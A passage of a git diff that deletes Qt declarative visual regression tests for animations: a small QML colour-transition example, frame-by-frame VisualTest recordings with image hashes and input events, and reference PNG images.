"383ba6b9efcc58fca512982a207631f6" - } - Frame { - msec: 5408 - hash: "383ba6b9efcc58fca512982a207631f6" - } - Frame { - msec: 5424 - hash: "383ba6b9efcc58fca512982a207631f6" - } - Frame { - msec: 5440 - hash: "383ba6b9efcc58fca512982a207631f6" - } - Frame { - msec: 5456 - hash: "383ba6b9efcc58fca512982a207631f6" - } - Frame { - msec: 5472 - hash: "383ba6b9efcc58fca512982a207631f6" - } - Frame { - msec: 5488 - hash: "383ba6b9efcc58fca512982a207631f6" - } - Frame { - msec: 5504 - hash: "383ba6b9efcc58fca512982a207631f6" - } - Frame { - msec: 5520 - hash: "383ba6b9efcc58fca512982a207631f6" - } - Frame { - msec: 5536 - hash: "383ba6b9efcc58fca512982a207631f6" - } - Frame { - msec: 5552 - hash: "383ba6b9efcc58fca512982a207631f6" - } - Frame { - msec: 5568 - hash: "383ba6b9efcc58fca512982a207631f6" - } - Frame { - msec: 5584 - hash: "383ba6b9efcc58fca512982a207631f6" - } - Frame { - msec: 5600 - hash: "383ba6b9efcc58fca512982a207631f6" - } - Frame { - msec: 5616 - hash: "383ba6b9efcc58fca512982a207631f6" - } - Frame { - msec: 5632 - hash: "383ba6b9efcc58fca512982a207631f6" - } - Frame { - msec: 5648 - hash: "383ba6b9efcc58fca512982a207631f6" - } - Frame { - msec: 5664 - hash: "383ba6b9efcc58fca512982a207631f6" - } - Frame { - msec: 5680 - hash: "383ba6b9efcc58fca512982a207631f6" - } - Frame { - msec: 5696 - hash: "383ba6b9efcc58fca512982a207631f6" - } - Frame { - msec: 5712 - hash: "383ba6b9efcc58fca512982a207631f6" - } - Key { - type: 6 - key: 16777249 - modifiers: 0 - text: "" - autorep: false - count: 1 - } - Frame { - msec: 5728 - hash: "383ba6b9efcc58fca512982a207631f6" - } - Frame { - msec: 5744 - hash: "383ba6b9efcc58fca512982a207631f6" - } - Frame { - msec: 5760 - image: "bindinganimation.5.png" - } - Frame { - msec: 5776 - hash: "383ba6b9efcc58fca512982a207631f6" - } - Frame { - msec: 5792 - hash: "383ba6b9efcc58fca512982a207631f6" - } - Frame { - msec: 5808 - hash: "383ba6b9efcc58fca512982a207631f6" - } - Frame { - msec: 5824 - hash: "383ba6b9efcc58fca512982a207631f6" - } - Frame { - msec: 5840 - hash: "383ba6b9efcc58fca512982a207631f6" - } - Frame { - msec: 5856 - hash: "383ba6b9efcc58fca512982a207631f6" - } -} diff --git a/tests/auto/declarative/visual/animation/colorAnimation/colorAnimation.qml b/tests/auto/declarative/visual/animation/colorAnimation/colorAnimation.qml deleted file mode 100644 index f205ae8..0000000 --- a/tests/auto/declarative/visual/animation/colorAnimation/colorAnimation.qml +++ /dev/null @@ -1,41 +0,0 @@ -import Qt 4.6 - -Rectangle { - id: mainrect - width: 200; height: 200 - state: "first" - states: [ - State { - name: "first" - PropertyChanges { - target: mainrect - color: "red" - } - }, - State { - name: "second" - PropertyChanges { - target: mainrect - color: "blue" - } - } - ] - transitions: [ - Transition { - from: "first" - to: "second" - reversible: true - SequentialAnimation { - ColorAnimation { - duration: 2000 - target: mainrect - property: "color" - } - } - } - ] - MouseArea { - anchors.fill: parent - onClicked: { mainrect.state = 'second' } - } -} diff --git a/tests/auto/declarative/visual/animation/colorAnimation/data/colorAnimation.0.png b/tests/auto/declarative/visual/animation/colorAnimation/data/colorAnimation.0.png deleted file mode 100644 index e6ea16d..0000000 Binary files a/tests/auto/declarative/visual/animation/colorAnimation/data/colorAnimation.0.png and /dev/null differ diff --git a/tests/auto/declarative/visual/animation/colorAnimation/data/colorAnimation.1.png b/tests/auto/declarative/visual/animation/colorAnimation/data/colorAnimation.1.png deleted file mode 100644 index b75ba61..0000000 Binary files a/tests/auto/declarative/visual/animation/colorAnimation/data/colorAnimation.1.png and /dev/null differ diff --git a/tests/auto/declarative/visual/animation/colorAnimation/data/colorAnimation.2.png b/tests/auto/declarative/visual/animation/colorAnimation/data/colorAnimation.2.png deleted file mode 100644 index 4320f6f..0000000 Binary files a/tests/auto/declarative/visual/animation/colorAnimation/data/colorAnimation.2.png and /dev/null differ diff --git a/tests/auto/declarative/visual/animation/colorAnimation/data/colorAnimation.qml b/tests/auto/declarative/visual/animation/colorAnimation/data/colorAnimation.qml deleted file mode 100644 index 4d0959a..0000000 --- a/tests/auto/declarative/visual/animation/colorAnimation/data/colorAnimation.qml +++ /dev/null @@ -1,951 +0,0 @@ -import Qt.VisualTest 4.6 - -VisualTest { - Frame { - msec: 0 - } - Frame { - msec: 16 - hash: "acc736435c9f84aa82941ba561bc5dbc" - } - Frame { - msec: 32 - hash: "acc736435c9f84aa82941ba561bc5dbc" - } - Frame { - msec: 48 - hash: "acc736435c9f84aa82941ba561bc5dbc" - } - Frame { - msec: 64 - hash: "acc736435c9f84aa82941ba561bc5dbc" - } - Frame { - msec: 80 - hash: "acc736435c9f84aa82941ba561bc5dbc" - } - Frame { - msec: 96 - hash: "acc736435c9f84aa82941ba561bc5dbc" - } - Frame { - msec: 112 - hash: "acc736435c9f84aa82941ba561bc5dbc" - } - Frame { - msec: 128 - hash: "acc736435c9f84aa82941ba561bc5dbc" - } - Frame { - msec: 144 - hash: "acc736435c9f84aa82941ba561bc5dbc" - } - Frame { - msec: 160 - hash: "acc736435c9f84aa82941ba561bc5dbc" - } - Frame { - msec: 176 - hash: "acc736435c9f84aa82941ba561bc5dbc" - } - Frame { - msec: 192 - hash: "acc736435c9f84aa82941ba561bc5dbc" - } - Frame { - msec: 208 - hash: "acc736435c9f84aa82941ba561bc5dbc" - } - Frame { - msec: 224 - hash: "acc736435c9f84aa82941ba561bc5dbc" - } - Frame { - msec: 240 - hash: "acc736435c9f84aa82941ba561bc5dbc" - } - Frame { - msec: 256 - hash: "acc736435c9f84aa82941ba561bc5dbc" - } - Frame { - msec: 272 - hash: "acc736435c9f84aa82941ba561bc5dbc" - } - Frame { - msec: 288 - hash: "acc736435c9f84aa82941ba561bc5dbc" - } - Frame { - msec: 304 - hash: "acc736435c9f84aa82941ba561bc5dbc" - } - Frame { - msec: 320 - hash: "acc736435c9f84aa82941ba561bc5dbc" - } - Frame { - msec: 336 - hash: "acc736435c9f84aa82941ba561bc5dbc" - } - Frame { - msec: 352 - hash: "acc736435c9f84aa82941ba561bc5dbc" - } - Frame { - msec: 368 - hash: "acc736435c9f84aa82941ba561bc5dbc" - } - Frame { - msec: 384 - hash: "acc736435c9f84aa82941ba561bc5dbc" - } - Frame { - msec: 400 - hash: "acc736435c9f84aa82941ba561bc5dbc" - } - Frame { - msec: 416 - hash: "acc736435c9f84aa82941ba561bc5dbc" - } - Frame { - msec: 432 - hash: "acc736435c9f84aa82941ba561bc5dbc" - } - Frame { - msec: 448 - hash: "acc736435c9f84aa82941ba561bc5dbc" - } - Frame { - msec: 464 - hash: "acc736435c9f84aa82941ba561bc5dbc" - } - Frame { - msec: 480 - hash: "acc736435c9f84aa82941ba561bc5dbc" - } - Frame { - msec: 496 - hash: "acc736435c9f84aa82941ba561bc5dbc" - } - Frame { - msec: 512 - hash: "acc736435c9f84aa82941ba561bc5dbc" - } - Mouse { - type: 2 - button: 1 - buttons: 1 - x: 93; y: 136 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 528 - hash: "acc736435c9f84aa82941ba561bc5dbc" - } - Frame { - msec: 544 - hash: "acc736435c9f84aa82941ba561bc5dbc" - } - Frame { - msec: 560 - hash: "acc736435c9f84aa82941ba561bc5dbc" - } - Frame { - msec: 576 - hash: "acc736435c9f84aa82941ba561bc5dbc" - } - Frame { - msec: 592 - hash: "acc736435c9f84aa82941ba561bc5dbc" - } - Mouse { - type: 3 - button: 1 - buttons: 0 - x: 93; y: 136 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 608 - hash: "acc736435c9f84aa82941ba561bc5dbc" - } - Frame { - msec: 624 - hash: "e5bda0daf98288ce18db6ce06eda3ba0" - } - Frame { - msec: 640 - hash: "d35008f75b8c992f80fb16ba7203649d" - } - Frame { - msec: 656 - hash: "14f43e0784ddf42ea8550db88c501bf1" - } - Frame { - msec: 672 - hash: "02276e158b5391480b1bdeaadf1fb903" - } - Frame { - msec: 688 - hash: "35d9513eb97a2c482b7cd197de910934" - } - Frame { - msec: 704 - hash: "faf0fd681e60bb2489099f5df772b6cd" - } - Frame { - msec: 720 - hash: "a863d3e346f94785a3a392fdc91526eb" - } - Frame { - msec: 736 - hash: "fdf328d3f6eb8410da59a91345e41a44" - } - Frame { - msec: 752 - hash: "83514a3b10d5be8f6c3b128d0f3e0b1c" - } - Frame { - msec: 768 - hash: "ead0eae76cd00189075964671effbaea" - } - Frame { - msec: 784 - hash: "24d2457fcd51490fda23071bf9929d12" - } - Frame { - msec: 800 - hash: "1478683446cf543dacbe31d0b76a98a6" - } - Frame { - msec: 816 - hash: "99f7da1f31fe920f6c02add4042ae925" - } - Frame { - msec: 832 - hash: "22def892006cf66667770b0f17baf6c0" - } - Frame { - msec: 848 - hash: "6a36d5a77099bfd58baf285478ff04e4" - } - Frame { - msec: 864 - hash: "6258150666b59b20ab476724c07fc20c" - } - Frame { - msec: 880 - hash: "f1636315bc950a6dd400d9c7ed263b88" - } - Frame { - msec: 896 - hash: "18447ea8dc2e8da956788e5b3cf3790a" - } - Frame { - msec: 912 - hash: "1d2a6e65997a73e9e670356c8e8b63b2" - } - Frame { - msec: 928 - hash: "bed0242c0f9ef229d1392835286d5782" - } - Frame { - msec: 944 - hash: "88923c190e9e5beadef8a409c06df9d6" - } - Frame { - msec: 960 - image: "colorAnimation.0.png" - } - Frame { - msec: 976 - hash: "85b1821cc50f2a9f3ed6944f792b7a2f" - } - Frame { - msec: 992 - hash: "395195716d76bc0be7b2033ed37a7a1c" - } - Frame { - msec: 1008 - hash: "243dbffcf416926242bbcb7348974c4c" - } - Frame { - msec: 1024 - hash: "a755068679616d8ac65c2aa7431f2a19" - } - Frame { - msec: 1040 - hash: "e8249b35a47eb492cbdf2d91cc8426f0" - } - Frame { - msec: 1056 - hash: "15f3da1c0e6f0779b96859d51171dd27" - } - Frame { - msec: 1072 - hash: "258c0c756aac3de743b43051f2aace6b" - } - Frame { - msec: 1088 - hash: "a58b9fdf301d72b2cc5c93934cc8927b" - } - Frame { - msec: 1104 - hash: "a9181d30870d472521f8904818ce520f" - } - Frame { - msec: 1120 - hash: "7f9e94069ccf3897c26a71bd7becd903" - } - Frame { - msec: 1136 - hash: "bdf305c2f46cdb86dbf57b1e0cc5a65b" - } - Frame { - msec: 1152 - hash: "fe5b6865d7e4fc7d1d42c1e74f8666f7" - } - Frame { - msec: 1168 - hash: "734f0de45a6e34c9eab7ef606196f96a" - } - Frame { - msec: 1184 - hash: "02a361c4534fdf7f286dc3e6dc23275c" - } - Frame { - msec: 1200 - hash: "e649155ad69999c14b92f6561e4d1185" - } - Frame { - msec: 1216 - hash: "01af177084fab755d622973f64b92018" - } - Frame { - msec: 1232 - hash: "097cc4a082dfab995d213a3a73883c97" - } - Frame { - msec: 1248 - hash: "d7b4239a3280b1eb8e885e3f422df8e9" - } - Frame { - msec: 1264 - hash: "59893977994e34e83f91e7ce3ad65d6d" - } - Frame { - msec: 1280 - hash: "b68e3fbb5cdcd6bd96df7dec558db42b" - } - Frame { - msec: 1296 - hash: "94ad0580648f36a1e18a9ea7e249b04d" - } - Frame { - msec: 1312 - hash: "750a4c01d2f5806a89a1c6cc6a9b9a68" - } - Frame { - msec: 1328 - hash: "4f109f50f388f1bfa4bc6b03b3e6e514" - } - Frame { - msec: 1344 - hash: "c6168d5cf27a533e8ee636637667be47" - } - Frame { - msec: 1360 - hash: "f8120547bed987aa34c00da5a01a4d1e" - } - Frame { - msec: 1376 - hash: "cbff526136fa2c128c8b898fbbef9e5c" - } - Frame { - msec: 1392 - hash: "f29e52398fab1a239a63df4c32f2fc69" - } - Frame { - msec: 1408 - hash: "7178bfe86fd2fd513218b33760460f8d" - } - Frame { - msec: 1424 - hash: "ca83285bc8ac633403896fe976896eb0" - } - Frame { - msec: 1440 - hash: "96ba486c09cc69d5aa38c46c00df1181" - } - Frame { - msec: 1456 - hash: "b88eab335842787869f4a14824c19dd8" - } - Frame { - msec: 1472 - hash: "065aa59012729e1e1a246a2083142690" - } - Frame { - msec: 1488 - hash: "dd0e98c8398861002c5f178c5f9f612d" - } - Frame { - msec: 1504 - hash: "04192c2b545948048eccf4d81bbde198" - } - Frame { - msec: 1520 - hash: "bb7502c7208281ef9fd41714ab88a1a8" - } - Frame { - msec: 1536 - hash: "5397195471890d08b703dca101e5bc7c" - } - Frame { - msec: 1552 - hash: "4c678cdbebb2ffd2cbf012ca77800cde" - } - Frame { - msec: 1568 - hash: "0d7a34ecd0c7f52b2c015037bf1902c6" - } - Frame { - msec: 1584 - hash: "fd9d5048be749ac4369fda2d018b43ae" - } - Frame { - msec: 1600 - hash: "93ee03795cd57ae6f7fe3a020b039ad4" - } - Frame { - msec: 1616 - hash: "5e1118963f219c39761ca7fbf564a9ca" - } - Frame { - msec: 1632 - hash: "8f40038741903150136170503649d941" - } - Frame { - msec: 1648 - hash: "b087b7d0aa6224821f8e18718ff5e77d" - } - Frame { - msec: 1664 - hash: "aa46b04a3c67dc772265ed2901955565" - } - Frame { - msec: 1680 - hash: "ac024bf2aeb4becdf31a09fe0a6db8f3" - } - Frame { - msec: 1696 - hash: "13745a174e4d06e2108a5bf125ba50cc" - } - Frame { - msec: 1712 - hash: "bd972f0d8e230eca0b3fea1b8c960c08" - } - Frame { - msec: 1728 - hash: "cbdbec802a58e7ced0cf45b3ab0bc0ba" - } - Frame { - msec: 1744 - hash: "5128584c50305c7d218b81b8367fa3d5" - } - Frame { - msec: 1760 - hash: "a71461d3593f3685620668916de870bd" - } - Frame { - msec: 1776 - hash: "74ebac8f32cf044b58d9883dbcd9a722" - } - Frame { - msec: 1792 - hash: "fedc5b638f339b90fe59b478721e65b7" - } - Frame { - msec: 1808 - hash: "8593a81be812edf54ec94da8ae9c1314" - } - Frame { - msec: 1824 - hash: "4e9b083075bc5e9287a8abc982778b56" - } - Frame { - msec: 1840 - hash: "1d6f02aa99afa47d77fc49ab894b365a" - } - Frame { - msec: 1856 - hash: "a204feec783b3b05de4c209c21745826" - } - Frame { - msec: 1872 - hash: "665a2a8ff00b9663157802767f504754" - } - Frame { - msec: 1888 - hash: "624fb09ebe60cb87d767faf8d2420b1e" - } - Frame { - msec: 1904 - hash: "e5af0cdc33f3275a25abb09e9165f310" - } - Frame { - msec: 1920 - image: "colorAnimation.1.png" - } - Frame { - msec: 1936 - hash: "e7aa6374c73832e57ceb2427a1e258aa" - } - Frame { - msec: 1952 - hash: "b5abd0dff1ab076faac7cc226e83f5d0" - } - Frame { - msec: 1968 - hash: "b759acc35bccff8efc2e6fe276ddc0f7" - } - Frame { - msec: 1984 - hash: "ce52e18c1f7732768779863b45314ff5" - } - Frame { - msec: 2000 - hash: "99d30652559dd6931e0c95543eeaa149" - } - Frame { - msec: 2016 - hash: "ffbd9a00e05e085b89296d19d5caec57" - } - Frame { - msec: 2032 - hash: "9c9d658b9c25602816b8066bf19105db" - } - Frame { - msec: 2048 - hash: "2b7fd058e6601e22a30bb7106b1c683b" - } - Frame { - msec: 2064 - hash: "f4c7e26b19ee0a3e7c9688685eb7bd05" - } - Frame { - msec: 2080 - hash: "0dc6d593bceff56b7f81f2a49d37fefb" - } - Frame { - msec: 2096 - hash: "9bfd7ad5091ccbdde43c593e133a7b10" - } - Frame { - msec: 2112 - hash: "2703b617937914a90ea42ebf249d79ee" - } - Frame { - msec: 2128 - hash: "b77e2983138254016c4cca53100f46fa" - } - Frame { - msec: 2144 - hash: "60c4dd24187d1281081479e586f02b37" - } - Frame { - msec: 2160 - hash: "62f2511abd99ef1231c9fa4b91d4abfe" - } - Frame { - msec: 2176 - hash: "e309b3353fd174e883d309571caddc98" - } - Frame { - msec: 2192 - hash: "1e2d6a134c7b12dde551b148ef4f088c" - } - Frame { - msec: 2208 - hash: "e5dc5450604a491cc24a0dcf5c278b58" - } - Frame { - msec: 2224 - hash: "c8dae97c10e1962c1e6a51ab3ab8579e" - } - Frame { - msec: 2240 - hash: "4e1b7e06f55fb084080689b474f1fe1d" - } - Frame { - msec: 2256 - hash: "b4639c907fa937bf15fac62421170cd8" - } - Frame { - msec: 2272 - hash: "c250208a0caeb5f6cb4d3aac3d7d350b" - } - Frame { - msec: 2288 - hash: "a73351eabecf0d71149efe31f197413e" - } - Frame { - msec: 2304 - hash: "479425f1b7aff79e4dfb7fca534af018" - } - Frame { - msec: 2320 - hash: "046d0f0040a52d1f26ba9f7c5de06ef4" - } - Frame { - msec: 2336 - hash: "655778bf13c6080903150b0eb43a7edc" - } - Frame { - msec: 2352 - hash: "72da0bbe81514870655fdd3354adac60" - } - Frame { - msec: 2368 - hash: "defe0bdf675c65fff55aaaced1e4dae7" - } - Frame { - msec: 2384 - hash: "c988628b6c3d3780e9a865c7694926cd" - } - Frame { - msec: 2400 - hash: "5ab17563655231089edd986ff13d6012" - } - Frame { - msec: 2416 - hash: "c1adff1d2e5800ed466d1691d3b17382" - } - Frame { - msec: 2432 - hash: "70129ba01fbb19592b9dc0d0a3b3e7df" - } - Frame { - msec: 2448 - hash: "0000829ef7ed908bf430d42904d59cc2" - } - Frame { - msec: 2464 - hash: "843d2927f50ab87b4a86b7a6aaeed91f" - } - Frame { - msec: 2480 - hash: "da86d21756025e7de8050586d5e2a1f8" - } - Frame { - msec: 2496 - hash: "48dd1bd6580133b0793fee327ea4f1e6" - } - Frame { - msec: 2512 - hash: "f0618193dcd0ba2837249515a1898b1c" - } - Frame { - msec: 2528 - hash: "a530184e57251065286c0cbba7301e9c" - } - Frame { - msec: 2544 - hash: "64a1d7203973d65dd342793007a61c58" - } - Frame { - msec: 2560 - hash: "5b830dfc6ba442772de87d75d5a578de" - } - Frame { - msec: 2576 - hash: "5563b056b0409b65f60dd16dd0dd890e" - } - Frame { - msec: 2592 - hash: "b8bcf9ad2ca8720c11563a23d8280804" - } - Frame { - msec: 2608 - hash: "8c0fcda4f8956394c53fc4ba18caa850" - } - Frame { - msec: 2624 - hash: "8c0fcda4f8956394c53fc4ba18caa850" - } - Frame { - msec: 2640 - hash: "8c0fcda4f8956394c53fc4ba18caa850" - } - Frame { - msec: 2656 - hash: "8c0fcda4f8956394c53fc4ba18caa850" - } - Frame { - msec: 2672 - hash: "8c0fcda4f8956394c53fc4ba18caa850" - } - Frame { - msec: 2688 - hash: "8c0fcda4f8956394c53fc4ba18caa850" - } - Frame { - msec: 2704 - hash: "8c0fcda4f8956394c53fc4ba18caa850" - } - Frame { - msec: 2720 - hash: "8c0fcda4f8956394c53fc4ba18caa850" - } - Frame { - msec: 2736 - hash: "8c0fcda4f8956394c53fc4ba18caa850" - } - Frame { - msec: 2752 - hash: "8c0fcda4f8956394c53fc4ba18caa850" - } - Frame { - msec: 2768 - hash: "8c0fcda4f8956394c53fc4ba18caa850" - } - Frame { - msec: 2784 - hash: "8c0fcda4f8956394c53fc4ba18caa850" - } - Frame { - msec: 2800 - hash: "8c0fcda4f8956394c53fc4ba18caa850" - } - Frame { - msec: 2816 - hash: "8c0fcda4f8956394c53fc4ba18caa850" - } - Frame { - msec: 2832 - hash: "8c0fcda4f8956394c53fc4ba18caa850" - } - Frame { - msec: 2848 - hash: "8c0fcda4f8956394c53fc4ba18caa850" - } - Frame { - msec: 2864 - hash: "8c0fcda4f8956394c53fc4ba18caa850" - } - Frame { - msec: 2880 - image: "colorAnimation.2.png" - } - Frame { - msec: 2896 - hash: "8c0fcda4f8956394c53fc4ba18caa850" - } - Frame { - msec: 2912 - hash: "8c0fcda4f8956394c53fc4ba18caa850" - } - Frame { - msec: 2928 - hash: "8c0fcda4f8956394c53fc4ba18caa850" - } - Frame { - msec: 2944 - hash: "8c0fcda4f8956394c53fc4ba18caa850" - } - Frame { - msec: 2960 - hash: "8c0fcda4f8956394c53fc4ba18caa850" - } - Frame { - msec: 2976 - hash: "8c0fcda4f8956394c53fc4ba18caa850" - } - Frame { - msec: 2992 - hash: "8c0fcda4f8956394c53fc4ba18caa850" - } - Frame { - msec: 3008 - hash: "8c0fcda4f8956394c53fc4ba18caa850" - } - Frame { - msec: 3024 - hash: "8c0fcda4f8956394c53fc4ba18caa850" - } - Frame { - msec: 3040 - hash: "8c0fcda4f8956394c53fc4ba18caa850" - } - Frame { - msec: 3056 - hash: "8c0fcda4f8956394c53fc4ba18caa850" - } - Frame { - msec: 3072 - hash: "8c0fcda4f8956394c53fc4ba18caa850" - } - Frame { - msec: 3088 - hash: "8c0fcda4f8956394c53fc4ba18caa850" - } - Frame { - msec: 3104 - hash: "8c0fcda4f8956394c53fc4ba18caa850" - } - Frame { - msec: 3120 - hash: "8c0fcda4f8956394c53fc4ba18caa850" - } - Frame { - msec: 3136 - hash: "8c0fcda4f8956394c53fc4ba18caa850" - } - Frame { - msec: 3152 - hash: "8c0fcda4f8956394c53fc4ba18caa850" - } - Frame { - msec: 3168 - hash: "8c0fcda4f8956394c53fc4ba18caa850" - } - Frame { - msec: 3184 - hash: "8c0fcda4f8956394c53fc4ba18caa850" - } - Frame { - msec: 3200 - hash: "8c0fcda4f8956394c53fc4ba18caa850" - } - Frame { - msec: 3216 - hash: "8c0fcda4f8956394c53fc4ba18caa850" - } - Frame { - msec: 3232 - hash: "8c0fcda4f8956394c53fc4ba18caa850" - } - Frame { - msec: 3248 - hash: "8c0fcda4f8956394c53fc4ba18caa850" - } - Frame { - msec: 3264 - hash: "8c0fcda4f8956394c53fc4ba18caa850" - } - Frame { - msec: 3280 - hash: "8c0fcda4f8956394c53fc4ba18caa850" - } - Frame { - msec: 3296 - hash: "8c0fcda4f8956394c53fc4ba18caa850" - } - Frame { - msec: 3312 - hash: "8c0fcda4f8956394c53fc4ba18caa850" - } - Frame { - msec: 3328 - hash: "8c0fcda4f8956394c53fc4ba18caa850" - } - Frame { - msec: 3344 - hash: "8c0fcda4f8956394c53fc4ba18caa850" - } - Frame { - msec: 3360 - hash: "8c0fcda4f8956394c53fc4ba18caa850" - } - Frame { - msec: 3376 - hash: "8c0fcda4f8956394c53fc4ba18caa850" - } - Frame { - msec: 3392 - hash: "8c0fcda4f8956394c53fc4ba18caa850" - } - Frame { - msec: 3408 - hash: "8c0fcda4f8956394c53fc4ba18caa850" - } - Frame { - msec: 3424 - hash: "8c0fcda4f8956394c53fc4ba18caa850" - } - Frame { - msec: 3440 - hash: "8c0fcda4f8956394c53fc4ba18caa850" - } - Frame { - msec: 3456 - hash: "8c0fcda4f8956394c53fc4ba18caa850" - } - Frame { - msec: 3472 - hash: "8c0fcda4f8956394c53fc4ba18caa850" - } - Frame { - msec: 3488 - hash: "8c0fcda4f8956394c53fc4ba18caa850" - } - Frame { - msec: 3504 - hash: "8c0fcda4f8956394c53fc4ba18caa850" - } - Frame { - msec: 3520 - hash: "8c0fcda4f8956394c53fc4ba18caa850" - } - Frame { - msec: 3536 - hash: "8c0fcda4f8956394c53fc4ba18caa850" - } - Frame { - msec: 3552 - hash: "8c0fcda4f8956394c53fc4ba18caa850" - } - Frame { - msec: 3568 - hash: "8c0fcda4f8956394c53fc4ba18caa850" - } - Frame { - msec: 3584 - hash: "8c0fcda4f8956394c53fc4ba18caa850" - } - Frame { - msec: 3600 - hash: "8c0fcda4f8956394c53fc4ba18caa850" - } - Frame { - msec: 3616 - hash: "8c0fcda4f8956394c53fc4ba18caa850" - } - Frame { - msec: 3632 - hash: "8c0fcda4f8956394c53fc4ba18caa850" - } - Key { - type: 6 - key: 16777249 - modifiers: 67108864 - text: "" - autorep: false - count: 1 - } - Frame { - msec: 3648 - hash: "8c0fcda4f8956394c53fc4ba18caa850" - } - Frame { - msec: 3664 - hash: "8c0fcda4f8956394c53fc4ba18caa850" - } - Frame { - msec: 3680 - hash: "8c0fcda4f8956394c53fc4ba18caa850" - } -} diff --git a/tests/auto/declarative/visual/animation/easing/data/easing.0.png b/tests/auto/declarative/visual/animation/easing/data/easing.0.png deleted file mode 100644 index 4f75bfd..0000000 Binary files a/tests/auto/declarative/visual/animation/easing/data/easing.0.png and /dev/null differ diff --git a/tests/auto/declarative/visual/animation/easing/data/easing.1.png b/tests/auto/declarative/visual/animation/easing/data/easing.1.png deleted file mode 100644 index dc17765..0000000 Binary files a/tests/auto/declarative/visual/animation/easing/data/easing.1.png and /dev/null differ diff --git a/tests/auto/declarative/visual/animation/easing/data/easing.2.png b/tests/auto/declarative/visual/animation/easing/data/easing.2.png deleted file mode 100644 index 7f83548..0000000 Binary files a/tests/auto/declarative/visual/animation/easing/data/easing.2.png and /dev/null differ diff --git a/tests/auto/declarative/visual/animation/easing/data/easing.3.png b/tests/auto/declarative/visual/animation/easing/data/easing.3.png deleted file mode 100644 index c68e0fa..0000000 Binary files a/tests/auto/declarative/visual/animation/easing/data/easing.3.png and /dev/null differ diff --git a/tests/auto/declarative/visual/animation/easing/data/easing.qml b/tests/auto/declarative/visual/animation/easing/data/easing.qml deleted file mode 100644 index d8e8688..0000000 --- a/tests/auto/declarative/visual/animation/easing/data/easing.qml +++ /dev/null @@ -1,779 +0,0 @@ -import Qt.VisualTest 4.6 - -VisualTest { - Frame { - msec: 0 - } - Frame { - msec: 16 - hash: "bb8e2ba14526dc5ad74f74e8ff3d96a5" - } - Frame { - msec: 32 - hash: "bb8e2ba14526dc5ad74f74e8ff3d96a5" - } - Frame { - msec: 48 - hash: "bb8e2ba14526dc5ad74f74e8ff3d96a5" - } - Frame { - msec: 64 - hash: "bb8e2ba14526dc5ad74f74e8ff3d96a5" - } - Frame { - msec: 80 - hash: "bb8e2ba14526dc5ad74f74e8ff3d96a5" - } - Frame { - msec: 96 - hash: "bb8e2ba14526dc5ad74f74e8ff3d96a5" - } - Frame { - msec: 112 - hash: "bb8e2ba14526dc5ad74f74e8ff3d96a5" - } - Frame { - msec: 128 - hash: "bb8e2ba14526dc5ad74f74e8ff3d96a5" - } - Frame { - msec: 144 - hash: "bb8e2ba14526dc5ad74f74e8ff3d96a5" - } - Frame { - msec: 160 - hash: "bb8e2ba14526dc5ad74f74e8ff3d96a5" - } - Frame { - msec: 176 - hash: "bb8e2ba14526dc5ad74f74e8ff3d96a5" - } - Frame { - msec: 192 - hash: "bb8e2ba14526dc5ad74f74e8ff3d96a5" - } - Frame { - msec: 208 - hash: "bb8e2ba14526dc5ad74f74e8ff3d96a5" - } - Frame { - msec: 224 - hash: "bb8e2ba14526dc5ad74f74e8ff3d96a5" - } - Frame { - msec: 240 - hash: "bb8e2ba14526dc5ad74f74e8ff3d96a5" - } - Frame { - msec: 256 - hash: "bb8e2ba14526dc5ad74f74e8ff3d96a5" - } - Frame { - msec: 272 - hash: "bb8e2ba14526dc5ad74f74e8ff3d96a5" - } - Mouse { - type: 2 - button: 1 - buttons: 1 - x: 111; y: 419 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 288 - hash: "bb8e2ba14526dc5ad74f74e8ff3d96a5" - } - Frame { - msec: 304 - hash: "8f4c40d2e2b4f064bcb77c5ae43928c6" - } - Frame { - msec: 320 - hash: "8b65094a9b7d5394fc67f92ea058627f" - } - Frame { - msec: 336 - hash: "da450826b471a60ba98dabc581631ba1" - } - Frame { - msec: 352 - hash: "e820fb4f1bc97152aa940b07db549f1b" - } - Frame { - msec: 368 - hash: "b7d8186beca2fa0e37099f72419350f4" - } - Frame { - msec: 384 - hash: "8500b93774f214e5e4789e25500262b8" - } - Frame { - msec: 400 - hash: "277e1dff70285cca536b3e1fc2590688" - } - Frame { - msec: 416 - hash: "b05b18f92c2089c681661566117ae0f5" - } - Frame { - msec: 432 - hash: "6fec9c6b6ac3e3ea4126e3824a8d7566" - } - Frame { - msec: 448 - hash: "53c6c90dd1eb7ca47721fc116474aebf" - } - Frame { - msec: 464 - hash: "cf729c4a31414af3d2705878ba615738" - } - Frame { - msec: 480 - hash: "f146b8a68960d507f893ef001189220e" - } - Frame { - msec: 496 - hash: "18ff56b870bb048af246f928ee42a9b0" - } - Frame { - msec: 512 - hash: "beee98f73fe7e878ada37b3070fa0c1d" - } - Frame { - msec: 528 - hash: "435d389082912950a0be2b5dff480319" - } - Frame { - msec: 544 - hash: "dc39b080eaddeaf4e309b90b7d97a835" - } - Frame { - msec: 560 - hash: "666b1cde53f78d7db9c81e21adbe406a" - } - Frame { - msec: 576 - hash: "c5c9627f4329e48aa96ebfbc982b6ba6" - } - Frame { - msec: 592 - hash: "a583042052e5da7e80a4956337d6d1ff" - } - Frame { - msec: 608 - hash: "a4a5df787e15da6f28275a12898e7620" - } - Frame { - msec: 624 - hash: "02cacec2ccc803ebc03c5540484cbcaa" - } - Frame { - msec: 640 - hash: "00600df1f006f358feaf43bfae9d32a5" - } - Frame { - msec: 656 - hash: "737c884ba0d6d38b66252f4b97a36c33" - } - Frame { - msec: 672 - hash: "7eeeade8100c84a6b56efa51cf597baf" - } - Frame { - msec: 688 - hash: "18ab79d495097f0103dcf14db1897a88" - } - Frame { - msec: 704 - hash: "21d3b0da00c46a101e09048928cd8027" - } - Frame { - msec: 720 - hash: "a5995b0341872c275ffbc5aaee6eb853" - } - Frame { - msec: 736 - hash: "bb4a37c1bd5e412ebce54d9539017723" - } - Frame { - msec: 752 - hash: "63dcde9e2751ca94ed7d739feb359221" - } - Frame { - msec: 768 - hash: "5790c8407e2e4d1a6a937d86d57d8edb" - } - Frame { - msec: 784 - hash: "3a1c77abf6822030db60a036027dc86e" - } - Frame { - msec: 800 - hash: "2a13c573ab9846cce60384dd7138b2b4" - } - Frame { - msec: 816 - hash: "98983c2525265830033495b61071a5aa" - } - Frame { - msec: 832 - hash: "26d2bba3d77053b410715afb497d4063" - } - Frame { - msec: 848 - hash: "fd65d954c16acee425d9de65af68ef40" - } - Frame { - msec: 864 - 